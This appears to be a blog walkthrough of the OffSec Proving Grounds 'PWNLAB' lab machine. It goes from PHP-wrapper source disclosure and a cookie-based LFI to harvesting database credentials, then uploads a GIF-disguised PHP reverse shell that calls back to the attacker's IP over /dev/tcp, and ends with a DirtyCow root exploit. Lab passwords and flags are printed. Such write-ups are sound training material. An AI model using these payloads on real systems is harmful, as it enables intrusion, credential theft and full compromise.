Skip to main content
  1. Posts/

OFFSEC - Proving Grounds - PWNLAB

·2531 words·12 mins·
OFFSEC PG PRACTICE PHP WRAPPER MYSQL MAGIC BYTE PHP REVERSE SHELL DIRTYCOW CVE-2016-5195
Table of Contents

Summary
#

On port 80 there is a PWNLAB website with a page parameter we can exploit with PHP wrappers, but also there is a LFI in the lang cookie. Using a PHP wrapper we can access the content of the database connection details and login the database. Once on the database we can extract credentials which we can use to login to the PWNLAB web application. Now we can upload images and upload a malicious GIF file with the magic byte followed by a PHP reverse shell. By using the lang include, we can execute the GIF/PHP reverse shell and get initial access. Once on the box, we run LinPEAS and see the server is vulnerable for DirtyCow (CVE-2016-5195) which escalates our privileges to root.

Specifications
#

  • Name: PWNLAB
  • Platform: PG PRACTICE
  • Points: 20
  • Difficulty: Fundamental
  • System overview: Linux pwnlab 3.16.0-4-686-pae #1 SMP Debian 3.16.7-ckt20-1+deb8u4 (2016-02-29) i686 GNU/Linux
  • IP address: 192.168.180.29
  • OFFSEC provided credentials: None
  • HASH: local.txt:c1a312576a73093f767149f0c5e0607d
  • HASH: proof.txt:245b01e89414d932b9bb54b5849aa47a

Preparation
#

First we’ll create a directory structure for our files and set the IP address to a bash variable and ping the target:

mkdir pwnlab && cd pwnlab && mkdir enum files exploits uploads tools

ls -la
total 28
drwxrwxr-x  7 kali kali 4096 Aug 21 17:17 .
drwxrwxr-x 97 kali kali 4096 Aug 21 17:17 ..
drwxrwxr-x  2 kali kali 4096 Aug 21 17:17 enum
drwxrwxr-x  2 kali kali 4096 Aug 21 17:17 exploits
drwxrwxr-x  2 kali kali 4096 Aug 21 17:17 files
drwxrwxr-x  2 kali kali 4096 Aug 21 17:17 tools
drwxrwxr-x  2 kali kali 4096 Aug 21 17:17 uploads

ip=192.168.180.29

ping $ip   
                                                                                                                                  
PING 192.168.180.29 (192.168.180.29) 56(84) bytes of data.
64 bytes from 192.168.180.29: icmp_seq=1 ttl=61 time=22.1 ms
^C
--- 192.168.180.29 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 22.060/22.060/22.060/0.000 ms

Reconnaissance
#

Portscanning
#

Using the rustscan tool we can see what TCP ports are open.

## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan

.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Port scanning: Making networking exciting since... whenever.

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 192.168.180.29:80
Open 192.168.180.29:111
Open 192.168.180.29:3306
Open 192.168.180.29:52895
[~] Starting Script(s)
[~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-21 17:18 +0200
Initiating Ping Scan at 17:18
Scanning 192.168.180.29 [4 ports]
Completed Ping Scan at 17:18, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 17:18
Completed Parallel DNS resolution of 1 host. at 17:18, 0.50s elapsed
DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 17:18
Scanning 192.168.180.29 [4 ports]
Discovered open port 3306/tcp on 192.168.180.29
Discovered open port 80/tcp on 192.168.180.29
Discovered open port 111/tcp on 192.168.180.29
Discovered open port 52895/tcp on 192.168.180.29
Completed SYN Stealth Scan at 17:18, 0.04s elapsed (4 total ports)
Nmap scan report for 192.168.180.29
Host is up, received echo-reply ttl 61 (0.018s latency).
Scanned at 2026-08-21 17:18:34 CEST for 0s

PORT      STATE SERVICE REASON
80/tcp    open  http    syn-ack ttl 61
111/tcp   open  rpcbind syn-ack ttl 61
3306/tcp  open  mysql   syn-ack ttl 61
52895/tcp open  unknown syn-ack ttl 61

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.68 seconds
           Raw packets sent: 8 (328B) | Rcvd: 5 (204B)

Copy the output of open ports into a file called ports within the files directory.

## edit the ``files/ports` file
nano files/ports

## content `ports` file:
PORT      STATE SERVICE REASON
80/tcp    open  http    syn-ack ttl 61
111/tcp   open  rpcbind syn-ack ttl 61
3306/tcp  open  mysql   syn-ack ttl 61
52895/tcp open  unknown syn-ack ttl 61

Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:

## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..

## output previous command
80,111,3306,52895

## use this output in the `nmap` command below:
sudo nmap -T3 -p 80,111,3306,52895 -sCV -vv $ip -oN enum/nmap-services-tcp

Output of NMAP:

PORT      STATE SERVICE REASON         VERSION
80/tcp    open  http    syn-ack ttl 61 Apache httpd 2.4.10 ((Debian))
|_http-title: PwnLab Intranet Image Hosting
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.10 (Debian)
111/tcp   open  rpcbind syn-ack ttl 61 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          35096/udp6  status
|   100024  1          50709/tcp6  status
|   100024  1          52895/tcp   status
|_  100024  1          56079/udp   status
3306/tcp  open  mysql   syn-ack ttl 61 MySQL 5.5.47-0+deb8u1
| mysql-info: 
|   Protocol: 10
|   Version: 5.5.47-0+deb8u1
|   Thread ID: 40
|   Capabilities flags: 63487
|   Some Capabilities: LongColumnFlag, Support41Auth, ConnectWithDatabase, SupportsCompression, Speaks41ProtocolOld, LongPassword, SupportsTransactions, SupportsLoadDataLocal, FoundRows, IgnoreSpaceBeforeParenthesis, IgnoreSigpipes, ODBCClient, InteractiveClient, Speaks41ProtocolNew, DontAllowDatabaseTableColumn, SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults
|   Status: Autocommit
|   Salt: p1A2tti4cvKR9gyNWIIs
|_  Auth Plugin Name: mysql_native_password
52895/tcp open  status  syn-ack ttl 61 1 (RPC #100024)

Initial Access
#

On port 80 there is a PWNLAB website. To determine what technology is used we type: http://192.168.180.29/index.php, the same page is loaded, so we’re dealing with a PHP website. Let’s first run a gobuster scan what, if any, PHP files are available.

gobuster dir -t 100 -u http://$ip:80/ -w /opt/SecLists/Discovery/Web-Content/raft-small-words.txt -x php | tee enum/gobuster-raft-small-words-raw-80 
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.180.29:80/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/raft-small-words.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.php                 (Status: 403) [Size: 293]
config.php           (Status: 200) [Size: 0]
upload.php           (Status: 200) [Size: 19]
upload               (Status: 301) [Size: 317] [--> http://192.168.180.29/upload/]
.                    (Status: 200) [Size: 332]
.htaccess.php        (Status: 403) [Size: 302]
.htaccess            (Status: 403) [Size: 298]
.html.php            (Status: 403) [Size: 298]
images               (Status: 301) [Size: 317] [--> http://192.168.180.29/images/]
index.php            (Status: 200) [Size: 332]
<SNIP>

When we click on Login we see the URL change to: http://192.168.180.29/?page=login.

Perhaps we can use some PHP wrappers to access or include files. Our payload that works is from: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/File%20Inclusion/Wrappers.md. But first, start BURP, set the proxy to intercept and refresh the login page. Now send the intercepted request to the repeater tab. Let’s use the wrapper: php://filter/convert.base64-encode/resource=index and see what we get back.

Base64 decode the result string and we indeed see the original page including PHP code.

## base64 decode string
echo -n 'PD9waHANCi8vTXVsdGlsaW5ndWFsLiBOb3QgaW1wbGVtZW50ZWQgeWV0Lg0KLy9zZXRjb29raWUoImxhbmciLCJlbi5sYW5nLnBocCIpOw0KaWYgKGlzc2V0KCRfQ09PS0lFWydsYW5nJ10pKQ0Kew0KCWluY2x1ZGUoImxhbmcvIi4kX0NPT0tJRVsnbGFuZyddKTsNCn0NCi8vIE5vdCBpbXBsZW1lbnRlZCB5ZXQuDQo/Pg0KPGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5Qd25MYWIgSW50cmFuZXQgSW1hZ2UgSG9zdGluZzwvdGl0bGU+DQo8L2hlYWQ+DQo8Ym9keT4NCjxjZW50ZXI+DQo8aW1nIHNyYz0iaW1hZ2VzL3B3bmxhYi5wbmciPjxiciAvPg0KWyA8YSBocmVmPSIvIj5Ib21lPC9hPiBdIFsgPGEgaHJlZj0iP3BhZ2U9bG9naW4iPkxvZ2luPC9hPiBdIFsgPGEgaHJlZj0iP3BhZ2U9dXBsb2FkIj5VcGxvYWQ8L2E+IF0NCjxoci8+PGJyLz4NCjw/cGhwDQoJaWYgKGlzc2V0KCRfR0VUWydwYWdlJ10pKQ0KCXsNCgkJaW5jbHVkZSgkX0dFVFsncGFnZSddLiIucGhwIik7DQoJfQ0KCWVsc2UNCgl7DQoJCWVjaG8gIlVzZSB0aGlzIHNlcnZlciB0byB1cGxvYWQgYW5kIHNoYXJlIGltYWdlIGZpbGVzIGluc2lkZSB0aGUgaW50cmFuZXQiOw0KCX0NCj8+DQo8L2NlbnRlcj4NCjwvYm9keT4NCjwvaHRtbD4=' | base64 -d

<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
        include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
        if (isset($_GET['page']))
        {
                include($_GET['page'].".php");
        }
        else
        {
                echo "Use this server to upload and share image files inside the intranet";
        }
?>
</center>
</body>
</html>   

Interestingly, This code below checks if a visitor has a language preference stored in a browser cookie named lang and dynamically imports that language file into the application. When we set the lang cookie value to: ../../../../etc/passwd we should get a LFI.

if (isset($_COOKIE['lang']))
{
        include("lang/".$_COOKIE['lang']);
}

So let’s test this. Set BURP on intercept and refresh the homepage. Now change the cookie to: Cookie: lang=../../../../../../../../../etc/passwd and press send. We indeed can read files of the server.

Now let’s also decode upload.php and config.php with these payloads:

## payload to download upload.php
GET /index.php?page=php://filter/convert.base64-encode/resource=upload HTTP/1.1

## payload to download config.php
GET /index.php?page=php://filter/convert.base64-encode/resource=config HTTP/1.1

When we decode the config.php string we get database credentials and are able to login to the database on port 3306. Within the database we are able to get the password of three users

## base64 decode config.php received as a string 
echo -n 'PD9waHANCiRzZXJ2ZXIJICA9ICJsb2NhbGhvc3QiOw0KJHVzZXJuYW1lID0gInJvb3QiOw0KJHBhc3N3b3JkID0gIkg0dSVRSl9IOTkiOw0KJGRhdGFiYXNlID0gIlVzZXJzIjsNCj8+' | base64 -d
<?php
$server   = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?> 

## connect to the database on port 3306
mysql -u root -h $ip -p --skip-ssl
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 39
Server version: 5.5.47-0+deb8u1 (Debian)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> 

## list all databases
MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| Users              |
+--------------------+
2 rows in set (0.022 sec)

## switch to `Users` database
MySQL [(none)]> use Users
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed

## list all tables
MySQL [Users]> show tables;
+-----------------+
| Tables_in_Users |
+-----------------+
| users           |
+-----------------+
1 row in set (0.020 sec)

## describe table users
MySQL [Users]> describe users;
+-------+-------------+------+-----+---------+-------+
| Field | Type        | Null | Key | Default | Extra |
+-------+-------------+------+-----+---------+-------+
| user  | varchar(30) | YES  |     | NULL    |       |
| pass  | varchar(30) | YES  |     | NULL    |       |
+-------+-------------+------+-----+---------+-------+
2 rows in set (0.019 sec)

## list all user and pass data
MySQL [Users]> select user,pass from users;
+------+------------------+
| user | pass             |
+------+------------------+
| kent | Sld6WHVCSkpOeQ== |
| mike | U0lmZHNURW42SQ== |
| kane | aVN2NVltMkdSbw== |
+------+------------------+
3 rows in set (0.020 sec)

The passwords are base64 encoded so, base64 decoding collected password gets us: kent:JWzXuBJJNy, mike:SIfdsTEn6I and kane:iSv5Ym2GRo. Ex. decode like this: echo -n 'Sld6WHVCSkpOeQ==' | base64 -d.

When we decoded the upload.php base64 we get this peace of code:

<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
        <body>
                <form action='' method='post' enctype='multipart/form-data'>
                        <input type='file' name='file' id='file' />
                        <input type='submit' name='submit' value='Upload'/>
                </form>
        </body>
</html>
<?php 
if(isset($_POST['submit'])) {
        if ($_FILES['file']['error'] <= 0) {
                $filename  = $_FILES['file']['name'];
                $filetype  = $_FILES['file']['type'];
                $uploaddir = 'upload/';
                $file_ext  = strrchr($filename, '.');
                $imageinfo = getimagesize($_FILES['file']['tmp_name']);
                $whitelist = array(".jpg",".jpeg",".gif",".png"); 

                if (!(in_array($file_ext, $whitelist))) {
                        die('Not allowed extension, please upload images only.');
                }

                if(strpos($filetype,'image') === false) {
                        die('Error 001');
                }

                if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
                        die('Error 002');
                }

                if(substr_count($filetype, '/')>1){
                        die('Error 003');
                }

                $uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;

                if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
                        echo "<img src=\"".$uploadfile."\"><br />";
                } else {
                        die('Error 4');
                }
        }
}

?>      

So, let’s upload a GIF file called sample.gif. When we go to: http://192.168.180.29/upload/, we see the file with the name as e148c95646aed2c5eb7756ab35482df3.gif.

Within the script we can also see that script contains a vulnerability known as a Double Extension / Null Byte Bypass or MIME spoofing. The strrchr($filename, '.') function only captures the last extension. If we upload a file named sample.php.gif, it passes the extension whitelist and the image content checks (if payload metadata is injected into a real image). So, let’s upload the same file and intercept it in BURP.

When we keep the magic byte GIF89a followed by the PHP script we want, the upload still works. In this ex. a PHP reverse shell: <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.45.182/9001 0>&1'"); ?>. Let’s first start a listener.

nc -lvnp 9001
listening on [any] 9001 ...

When we try to view the file we get an error, which is good, but we don’t get a reverse shell.

Let’s use the LFI we already have to include this GIF file and execute it. Add a cookie called: Cookie: lang=../upload/e148c95646aed2c5eb7756ab35482df3.gif

Send the request. We indeed get a reverse shell as the www-data user.

## catch the reverse shell
listening on [any] 9001 ...
connect to [192.168.45.182] from (UNKNOWN) [192.168.180.29] 44848
bash: cannot set terminal process group (585): Inappropriate ioctl for device
bash: no job control in this shell
www-data@pwnlab:/var/www/html$ 

## run whoami
www-data@pwnlab:/var/www/html$ whoami
www-data

Privilege Escalation
#

To get a proper TTY we upgrade our shell using the script binary.

## determine location script binary
which script
/usr/bin/script

## start the script binary, after that press CTRL+Z
/usr/bin/script -qc /bin/bash /dev/null

## after this command press the `enter` key twice
stty raw -echo ; fg ; reset

## run the following to be able to clear the screen and set the terrminal correct
export TERM=xterm && stty columns 200 rows 200

Now, upload linpeas.sh to the target and run it.

## change directory locally
cd uploads

## download latest version of linpeas.sh
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh

## get local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.182

## start local webserver
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

## on target
## change directory
www-data@pwnlab:/var/www/html$ cd /var/tmp

## download `linpeas.sh` using the open port 80
www-data@pwnlab:/var/tmp$ wget http://192.168.45.182/linpeas.sh
converted 'http://192.168.45.182/linpeas.sh' (ANSI_X3.4-1968) -> 'http://192.168.45.182/linpeas.sh' (UTF-8)
--2026-08-21 14:57:52--  http://192.168.45.182/linpeas.sh
Connecting to 192.168.45.182:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1133905 (1.1M) [text/x-sh]
Saving to: 'linpeas.sh'

linpeas.sh                                          0%[                                                                                                    linpeas.sh                                        100%[===============================================================================================================>]   1.08M  5.50MB/s   in 0.2s   

2026-08-21 14:57:52 (5.50 MB/s) - 'linpeas.sh' saved [1133905/1133905]

## set the execution bit
www-data@pwnlab:/var/tmp$ chmod +x linpeas.sh 

## run `linpeas.sh`
www-data@pwnlab:/var/tmp$ ./linpeas.sh 

The linpeas.sh output shows the target has is vulnerable for DirtyCow (CVE-2016-5195). When running this exploit you will need to move fast once you run the actual exploit because it will freeze up the server pretty fast.

## locally
## change directory
cd uploads

## download exploit
wget https://www.exploit-db.com/download/40839

## get the local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.182

## run python webserver
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

## remote on target
## change directory
www-data@pwnlab:/var/www/html$ cd /var/tmp

## download exploit to server
www-data@pwnlab:/var/tmp$ wget http://192.168.45.182/dirty.c      
converted 'http://192.168.45.182/dirty.c' (ANSI_X3.4-1968) -> 'http://192.168.45.182/dirty.c' (UTF-8)
--2026-08-21 14:48:22--  http://192.168.45.182/dirty.c
Connecting to 192.168.45.182:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5006 (4.9K) [text/x-csrc]
Saving to: 'dirty.c'

dirty.c                                             0%[                                                                                                    dirty.c                                           100%[===============================================================================================================>]   4.89K  --.-KB/s   in 0s     

2026-08-21 14:48:22 (145 MB/s) - 'dirty.c' saved [5006/5006]

## compile c code using gcc
www-data@pwnlab:/var/tmp$ gcc -pthread dirty.c -o dirty -lcrypt

## change permissions
www-data@pwnlab:/var/tmp$ chmod +x ./dirty

## run exploit and enter a new password, after that press CTRL+C
www-data@pwnlab:/var/tmp$ ./dirty
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: 
Complete line:
firefart:fi1IpG9ta02N.:0:0:pwned:/root:/bin/bash

mmap: b7769000
^C

## switch to the firefart user with the entered password
www-data@pwnlab:/var/tmp$ su firefart
Password: 

## find local.txt
firefart@pwnlab:/var/tmp# find / -iname 'local.txt' 2>/dev/null
/home/kane/local.txt

## print local.txt
firefart@pwnlab:/var/tmp# cat /home/kane/local.txt
c1a312576a73093f767149f0c5e0607d

## print proof.txt
firefart@pwnlab:/var/tmp# cat /root/proof.txt
245b01e89414d932b9bb54b5849aa47a

References
#

[+] https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/File%20Inclusion/Wrappers.md

Related

OFFSEC - Proving Grounds - BANZAI
·2971 words·14 mins
OFFSEC PG PRACTICE HYDRA GOBUSTER MYSQL MYSQL UDF GCC
FTP on port 21 with weak credentials holds web dirirectory for port 8295. Upload PHP shell to gain initial access. MySQL UDF exploit sets SUID on bash and allows us to escalates to root.
OFFSEC - Proving Grounds - EDUCATED
·2704 words·13 mins
OFFSEC PG PRACTICE FREE SCHOOL MANAGEMENT MYSQL APK MOBSF
WISDOM SCHOOL site on port 80 has Gosfem alogin page. RCE gives initial access. Crack msander’s hash, find emiller credentials in APK. Sudo escalates to root via bash.
OFFSEC - Proving Grounds - FRACTAL
·3258 words·16 mins
OFFSEC PG PRACTICE SYMFONY PROFILER PROFTPD MYSQL SSH-KEYGEN
Exploit Symfony 3.4.46 on port 80 via /_fragment RCE for initial access. Use MySQL creds from proftpd to add benoit user, log in via FTP, add SSH key, and escalate to root with sudo.
OFFSEC - Proving Grounds - MANTIS
·3303 words·16 mins
OFFSEC PG PRACTICE GOBUSTER MANTISBT MYSQL PSPY
Gobuster finds /bugtracker with MantisBT 2.0. Exploit CVE-2017-12419 for MySQL credentials, crack a hash and get www-data via RCE. Mysqldump process runs with credentials and can be reused. Escalate using sudo.
OFFSEC - Proving Grounds - BITFORGE
·4120 words·20 mins
OSCP OFFSEC PG PRACTICE SIMPLE ONLINE PLANNING GIT GIT-DUMPER MYSQL PSPY FLASK
Git on port 80 leaks MySQL credentials. RCE in Simple Planning v1.52.01 for initial access, with pspy64 find jack’s credentials and changing flask script escalates to root.
OFFSEC - Proving Grounds - VMDAK
·3176 words·15 mins
OSCP OFFSEC PG PRACTICE PRISON MANAGEMENT SYSTEM MYSQL CHISEL JENKINS BURP
Prison management system on port 9443 vulnerable to SQL injection & RCE once initial access got MySQL creds and SSH in. Using port forward on 8080 we can exploit Jenkins (CVE-2024-23897) for root.